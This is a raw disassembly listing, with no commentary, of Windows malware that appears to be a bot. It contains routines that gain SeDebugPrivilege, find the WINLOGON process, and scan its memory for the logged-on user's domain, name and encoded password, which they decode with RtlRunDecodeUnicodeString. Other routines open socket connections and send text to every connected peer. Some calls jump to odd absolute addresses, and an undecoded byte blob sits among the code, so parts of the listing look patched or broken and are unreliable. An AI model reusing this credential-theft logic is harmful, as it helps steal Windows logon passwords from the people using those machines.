		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAEDC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1

loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h

loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D

loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi

loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2C923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 3394DDE8h,	75C08502h
		dd 0FC75FF8Fh, 9172E890h, 75FF0232h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43790Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 9458E856h, 85900233h, 56B175C0h, 90EEE890h
		dd 458B0232h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B00
		jmp	loc_417098
; ---------------------------------------------------------------------------

loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26B0000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3DEC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3DE0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D3FF0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3DE8, eax
		call	esi
		mov	dword_4D3DE4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2DE0
		push	edi
		push	ebx
		push	offset off_437A3C
		call	esi
		push	edi
		mov	edi, offset dword_4D35E0
		push	edi
		push	offset off_437A24
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D3FF8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------

loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C

loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D3FF8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379C8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------

loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9

loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_437990
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437964

loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 2780000h
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------

loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437930

loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h

loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3DEC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3DEC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9

loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3DE0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D3FF0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1

loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3DE8

loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]

loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175

loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi

loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi

loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207

loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3DE8

loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------

loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2680218h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------

loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27B02F5h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27A0BA8h
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB

loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2DE0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D35E0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389

loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------

loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2750000h
		nop
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2740775h
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4004, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D3FFC, eax
		mov	dword_4D4000, edi

loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	esi, [ebp+var_10]

loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2660969h
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 2680218h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27B02F5h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148

loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0BA8h
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2DE0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D35E0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515

loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2790000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------

loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467

loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		call	near ptr 2660969h
		nop

loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax

loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D3FFC, ebx
		mov	dword_4D4000, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F

loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537

loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2660969h
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D3FF8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	ecx, dword_4D3FF8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4000
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4004
		push	eax
		call	dword_4D3DE4
		push	[ebp+var_4]
		mov	edi, offset dword_4D3DF0
		push	offset dword_4D2DE0
		push	offset dword_4D35E0
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D3FF8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27A0B13h
		push	eax
		nop
		call	near ptr 27A0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D35E0
		mov	edi, 200h
		mov	esi, offset dword_4D2BE0

loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D3FF8
		add	eax, eax
		push	eax
		push	dword_4D4000
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3DE4
		mov	eax, dword_4D3FF8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4

loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0

loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694

loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0

loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1

loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------

loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B9C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h

loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27A0B13h
		push	eax
		call	near ptr 2790000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB00C

loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------

loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi

loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D400C
		pop	ecx

loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFC4

loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA72C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA2C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------

loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
